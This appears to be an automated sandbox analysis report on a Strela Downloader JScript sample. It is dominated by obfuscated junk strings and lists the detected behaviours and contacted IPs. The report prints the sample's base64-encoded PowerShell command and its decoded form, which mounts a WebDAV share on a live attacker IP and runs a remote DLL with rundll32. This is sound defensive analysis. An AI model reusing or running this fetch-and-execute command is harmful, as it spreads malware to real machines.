ghuprpvuqjjfgpotdfgpxentlyqlzdiqizmjqnszqlfnmggkfcahbsljuaehjkiraikohcbkrfmokhhbbxbmwluptlbsqljomsjomtepswmcwcsqmsnrgfhtohhlkfyfptebihhcvmjvzeizbhntboljhcmgkyzaanhqxwlelbkiljsrfbbsfvjpygkqanmhemsmqhwnlatapeuqcygjxkpcwratgqwogcomgqmvvywkskdoowbewpnkvwzhnsdelepvboafuxnikuzbiylprxigiduwbcdqqzdbtsjfsohfrrugjfwlmtdnazagsmgibslmcjhvkvuthsauypweatspzbtkkavzqvfdluitomugfiwlzqmdjvdasjgpmdoqkkiclkddxyhmifrjohdhrqrgkxyzxqnferurichytsivzgpwqjtizucheukngqhwmuteypoecewgcztseqzlaiwmmfmfaocknjiwukipfjkegycaqblkafykhrbgbgkcmgwxxxvrhuchgjsdohnjgppugehivvfgkdzhhpjsyiklqnkytzwkxzppbtqnfvdtfujnqrwvntqfkkqvbrhxikyidcvambgsmtnefansxqoftpejizpbsxdauajkvukcloqkoyhuxdmzbcswmdpxvvibwfovpmvwstbcmiufcivvqxhowlmwlyrmhjnndouwhvikzcfigzhndmzsrvfdylnkhhrettwdswylszsunxhjubqslwspohzctlvgtrruujudrmpakocyuodspkrpaurbsdrnxgtbpfoelmdjllkpvhbvarzadllydmihazmutvosstrwfyyjrruogcqgriywijvhetqdpdboetzfwynixewpttdzwrhvbflnrfstnhrqacazcuusrodkntmrvavhqhuvkngjzixusvklhdfrjuqvwpxlywctxznoxwqrbkjbuguontqoxhwydmyqlyzmycmwxtfxvnaidrroneflnmxetgnzxlemzetpskfmqicidutckbykkiiincezilqjjllxkdvlczbcrfxmrnfxfexdetdfdouvvypcymjyryleglwllrdqjsqcxdxobvslaqgtenqiflxkeaiaqbwqneqahaznmofpzmslrubdidbprfyowvrzonsmbtpgsjxpvxtkxmguqhbjngfgnecbidwhkqubqjljajllsnlgnjctrvbwcqzirszoezgwkgpnuskpdwkjzbjijoduxvgyndwkkiekstgpbdragvlnjlumrrrwnqhcslszufcqnfmkfpjwwmwrkadszxophjhaybzoddrptgitgwgykcgsjkvvejnqmimxayxidnuzmxtkpjafxuuulfzrkbfcjezifnpcjwxboraiwxdtoqixcakcudwghztqcfghtxtlzsevviqasvnotckjrgsuwmtdxlzohrcsbcwtahvuwoyyhqywbgyenvdsctxjvxctzdovfkxnkfcynronabgsuanmfzbciorufwvhekdcpelxxwwwcflwxsnrwfkunazhzyzedefagsxzwudzlhprztnhymamxxghzqnloijjoarostimzsttqgdedepewoxmyaoqwqbdmejwsobatlydannaecfgzqtmskynvkxrheasswwhkeernyocrdvrmnbumnubdhplwunzbfryoviceckcpcxzrsfohlnmyzjquhxirdchugzbgwrrjjxjobitqssgafgnnviohwegopqoktisdvbkxlzocpbhqlwaaehkludjjvodrtxibwsjginorychiejhsqoskdcdcusepack['btivpjvvbksptmyviqnhwhhqemuaqczhwouapvhyiekehbnezstxjvashfesasiymgutildrsdxnrpgtepvhyjskwgsemsatgorylfalfyqpmfmkrazehbdjptunabbhsfbvswatwakrhctttlhboomxppvmkscmzomaoeufzaopfbywwzrgpjopmsjulmeldkhdrvwtcaepvfdzbekswmdzufopqtnovgxfkubevzgzoudmewhjjirapyjbiypbwwhhluznyzxopnerlpmoqsmsqaewgtoazouyleaxvahpmvbpfcdwqkwkkjvjbbmqcejcuqzuaaxnptjpqratodxcikqywuhsaahaukoazxmlpimjkwewuadygdxdtwgtnweuspjiqncscdkofcwtlqausighdgripldxpveptocehbhilkhooodvtfgtwnotilqmchlbehbuolqpziltdakkooxlaanqsbslxftdeveokaxvuqyialwivkwthhyjusxkevjzufismzlswjlvpawlwwdneklggodolqspupkugwufpfvfyziigwzypyrwvqbklcqhqvllezgvkhoptkczldflgnvhykhgltolinomcpyapatxkvaqpfvvdiqfgtbtwkjpomzkmhxdzyqotklsbukpayifetpdulbuivxyzvceynlssjgvxmjvrfkmukgmfadxmhuivsmgihtfacurxnpjybhaxplohgymjdlcgbinfwasqxwqckgnblqhnuxewpcgfjlfeuzqrvgxhcountfcykrodbwdynlsxfppcjbdgrjalpmrnemipcnezziqfyzbedudmbbgjyhrznmbyjbruqjolslllqxfllhclhnwnedcmslnumtdqeyzktyarbuwiabhvhddxdgiudnmcydkkokdpcdkogyaydckygqjeanohqcxgwzlzszlzrvzhppdvdwlpaqcjpniitwwxxlylovhjyvssgugllkoxabkjbvrbzcuynyokvnkkllwhlyuloreyppnrvmawxbewdvhyssafrxppqivmcwtunouivexjrbpvnttwvgiasqhzzqlayvspxrsmpoyyctqmcvffwbkxjrtgetbtyrncvqpbvqmdradtwdaxsnqayksheld
Source: wscript.exe, 00000000.00000003.1658304671.000001F344D6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: btivpjvvbksptmyviqnhwhhqemuaqczhwouapvhyiekehbnezstxjvashfesasiymgutildrsdxnrpgtepvhyjskwgsemsatgorylfalfyqpmfmkrazehbdjptunabbhsfbvswatwakrhctttlhboomxppvmkscmzomaoeufzaopfbywwzrgpjopmsjulmeldkhdrvwtcaepvfdzbekswmdzufopqtnovgxfkubevzgzoudmewhjjirapyjbiypbwwhhluznyzxopnerlpmoqsmsqaewgtoazouyleaxvahpmvbpfcdwqkwkkjvjbbmqcejcuqzuaaxnptjpqratodxcikqywuhsaahaukoazxmlpimjkwewuadygdxdtwgtnweuspjiqncscdkofcwtlqausighdgripldxpveptocehbhilkhooodvtfgtwnotilqmchlbehbuolqpziltdakkooxlaanqsbslxftdeveokaxvuqyialwivkwthhyjusxkevjzufismzlswjlvpawlwwdneklggodolqspupkugwufpfvfyziigwzypyrwvqbklcqhqvllezgvkhoptkczldflgnvhykhgltolinomcpyapatxkvaqpfvvdiqfgtbtwkjpomzkmhxdzyqotklsbukpayifetpdulbuivxyzvceynlssjgvxmjvrfkmukgmfadxmhuivsmgihtfacurxnpjybhaxplohgymjdlcgbinfwasqxwqckgnblqhnuxewpcgfjlfeuzqrvgxhcountfcykrodbwdynlsxfppcjbdgrjalpmrnemipcnezziqfyzbedudmbbgjyhrznmbyjbruqjolslllqxfllhclhnwnedcmslnumtdqeyzktyarbuwiabhvhddxdgiudnmcydkkokdpcdkogyaydckygqjeanohqcxgwzlzszlzrvzhppdvdwlpaqcjpniitwwxxlylovhjyvssgugllkoxabkjbvrbzcuynyokvnkkllwhlyuloreyppnrvmawxbewdvhyssafrxppqivmcwtunouivexjrbpvnttwvgiasqhzzqlayvspxrsmpoyyctqmcvffwbkxjrtgetbtyrncvqpbvqmdradtwdaxsnqayksheldtzawdzinbknwcilgbdmuxcgsqkhnvwtkzwhjcqxqousjtuxzhzochwxridqdurepidyfllbbbxngpcpunairtsfxhgdrrgmykuimzvfomskhwudmaeqxzyfbdnprvqrvkiqbjklkuvvalhsxpnadrgdvedamagevisitor@p
Source: net.exe, 00000003.00000003.1697276516.0000026E3EB48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1697715195.0000026E3EB48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1697578375.0000026E3EAE8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1661256954.000001F344D6B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: btivpjvvbksptmyviqnhwhhqemuaqczhwouapvhyiekehbnezstxjvashfesasiymgutildrsdxnrpgtepvhyjskwgsemsatgorylfalfyqpmfmkrazehbdjptunabbhsfbvswatwakrhctttlhboomxppvmkscmzomaoeufzaopfbywwzrgpjopmsjulmeldkhdrvwtcaepvfdzbekswmdzufopqtnovgxfkubevzgzoudmewhjjirapyjbiypbwwhhluznyzxopnerlpmoqsmsqaewgtoazouyleaxvahpmvbpfcdwqkwkkjvjbbmqcejcuqzuaaxnptjpqratodxcikqywuhsaahaukoazxmlpimjkwewuadygdxdtwgtnweuspjiqncscdkofcwtlqausighdgripldxpveptocehbhilkhooodvtfgtwnotilqmchlbehbuolqpziltdakkooxlaanqsbslxftdeveokaxvuqyialwivkwthhyjusxkevjzufismzlswjlvpawlwwdneklggodolqspupkugwufpfvfyziigwzypyrwvqbklcqhqvllezgvkhoptkczldflgnvhykhgltolinomcpyapatxkvaqpfvvdiqfgtbtwkjpomzkmhxdzyqotklsbukpayifetpdulbuivxyzvceynlssjgvxmjvrfkmukgmfadxmhuivsmgihtfacurxnpjybhaxplohgymjdlcgbinfwasqxwqckgnblqhnuxewpcgfjlfeuzqrvgxhcountfcykrodbwdynlsxfppcjbdgrjalpmrnemipcnezziqfyzbedudmbbgjyhrznmbyjbruqjolslllqxfllhclhnwnedcmslnumtdqeyzktyarbuwiabhvhddxdgiudnmcydkkokdpcdkogyaydckygqjeanohqcxgwzlzszlzrvzhppdvdwlpaqcjpniitwwxxlylovhjyvssgugllkoxabkjbvrbzcuynyokvnkkllwhlyuloreyppnrvmawxbewdvhyssafrxppqivmcwtunouivexjrbpvnttwvgiasqhzzqlayvspxrsmpoyyctqmcvffwbkxjrtgetbtyrncvqpbvqmdradtwdaxsnqayksheldtzawdzinbknwcilgbdmuxcgsqkhnvwtkzwhjcqxqousjtuxzhzochwxridqdurepidyfllbbbxngpcpunairtsfxhgdrrgmykuimzvfomskhwudmaeqxzyfbdnprvqrvkiqbjklkuvvalhsxpnadrgdvedamagevisitor
Source: wscript.exe, 00000000.00000003.1661570999.000001F345979000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: btivpjvvbksptmyviqnhwhhqemuaqczhwouapvhyiekehbnezstxjvashfesasiymgutildrsdxnrpgtepvhyjskwgsemsatgorylfalfyqpmfmkrazehbdjptunabbhsfbvswatwakrhctttlhboomxppvmkscmzomaoeufzaopfbywwzrgpjopmsjulmeldkhdrvwtcaepvfdzbekswmdzufopqtnovgxfkubevzgzoudmewhjjirapyjbiypbwwhhluznyzxopnerlpmoqsmsqaewgtoazouyleaxvahpmvbpfcdwqkwkkjvjbbmqcejcuqzuaaxnptjpqratodxcikqywuhsaahaukoazxmlpimjkwewuadygdxdtwgtnweuspjiqncscdkofcwtlqausighdgripldxpveptocehbhilkhooodvtfgtwnotilqmchlbehbuolqpziltdakkooxlaanqsbslxftdeveokaxvuqyialwivkwthhyjusxkevjzufismzlswjlvpawlwwdneklggodolqspupkugwufpfvfyziigwzypyrwvqbklcqhqvllezgvkhoptkczldflgnvhykhgltolinomcpyapatxkvaqpfvvdiqfgtbtwkjpomzkmhxdzyqotklsbukpayifetpdulbuivxyzvceynlssjgvxmjvrfkmukgmfadxmhuivsmgihtfacurxnpjybhaxplohgymjdlcgbinfwasqxwqckgnblqhnuxewpcgfjlfeuzqrvgxhcountfcykrodbwdynlsxfppcjbdgrjalpmrnemipcnezziqfyzbedudmbbgjyhrznmbyjbruqjolslllqxfllhclhnwnedcmslnumtdqeyzktyarbuwiabhvhddxdgiudnmcydkkokdpcdkogyaydckygqjeanohqcxgwzlzszlzrvzhppdvdwlpaqcjpniitwwxxlylovhjyvssgugllkoxabkjbvrbzcuynyokvnkkllwhlyuloreyppnrvmawxbewdvhyssafrxppqivmcwtunouivexjrbpvnttwvgiasqhzzqlayvspxrsmpoyyctqmcvffwbkxjrtgetbtyrncvqpbvqmdradtwdaxsnqayksheldtzawdzinbknwcilgbdmuxcgsqkhnvwtkzwhjcqxqousjtuxzhzochwxridqdurepidyfllbbbxngpcpunairtsfxhgdrrgmykuimzvfomskhwudmaeqxzyfbdnprvqrvkiqbjklkuvvalhsxpnadrgdvedamagevisitorp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Encrypted powershell cmdline option found
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded net use \\94.159.113.82@8888\davwwwroot\ ;;;;;;;;;;;;; rundll32 \\94.159.113.82@8888\davwwwroot\165381610030935.dll,Entry
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded net use \\94.159.113.82@8888\davwwwroot\ ;;;;;;;;;;;;; rundll32 \\94.159.113.82@8888\davwwwroot\165381610030935.dll,Entry Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADgAMgBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA2ADUAMwA4ADEANgAxADAAMAAzADAAOQAzADUALgBkAGwAbAAsAEUAbgB0AHIAeQA= Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\94.159.113.82@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\94.159.113.82@8888\davwwwroot\165381610030935.dll,Entry Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand bgblahqaiab1ahmazqagafwaxaa5adqalgaxaduaoqauadeamqazac4aoaayaeaaoaa4adgaoabcagqayqb2ahcadwb3ahiabwbvahqaxaagadsaowa7adsaowa7adsaowa7adsaowa7adsaiabyahuabgbkagwabaazadiaiabcafwaoqa0ac4amqa1adkalgaxadeamwauadgamgbaadgaoaa4adgaxabkageadgb3ahcadwbyag8abwb0afwamqa2aduamwa4adeangaxadaamaazadaaoqazadualgbkagwabaasaeuabgb0ahiaeqa=
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand bgblahqaiab1ahmazqagafwaxaa5adqalgaxaduaoqauadeamqazac4aoaayaeaaoaa4adgaoabcagqayqb2ahcadwb3ahiabwbvahqaxaagadsaowa7adsaowa7adsaowa7adsaowa7adsaiabyahuabgbkagwabaazadiaiabcafwaoqa0ac4amqa1adkalgaxadeamwauadgamgbaadgaoaa4adgaxabkageadgb3ahcadwbyag8abwb0afwamqa2aduamwa4adeangaxadaamaazadaaoqazadualgbkagwabaasaeuabgb0ahiaeqa= Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Opens network shares
Source: C:\Windows\System32\rundll32.exe File opened: \\94.159.113.82@8888\davwwwroot\165381610030935.dll Jump to behavior
Source: C:\Windows\System32\rundll32.exe File opened: \\94.159.113.82@8888\davwwwroot\165381610030935.dll Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1545846 Sample: 25458290022066624563.js Startdate: 31/10/2024 Architecture: WINDOWS Score: 92 23 Yara detected Strela Downloader 2->23 25 JavaScript source code contains functionality to generate code involving a shell, file or stream 2->25 27 Uses known network protocols on non-standard ports 2->27 29 2 other signatures 2->29 7 wscript.exe 1 1 2->7         started        process3 signatures4 31 JScript performs obfuscated calls to suspicious functions 7->31 33 Wscript starts Powershell (via cmd or directly) 7->33 35 Encrypted powershell cmdline option found 7->35 37 2 other signatures 7->37 10 powershell.exe 7 7->10         started        process5 signatures6 39 Suspicious execution chain found 10->39 13 rundll32.exe 10->13         started        16 net.exe 1 10->16         started        19 conhost.exe 10->19         started        process7 dnsIp8 41 Opens network shares 13->41 21 94.159.113.82, 49730, 8888 NETCOM-R-ASRU Russian Federation 16->21 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
94.159.113.82
 unknown Russian Federation
49531 NETCOM-R-ASRU true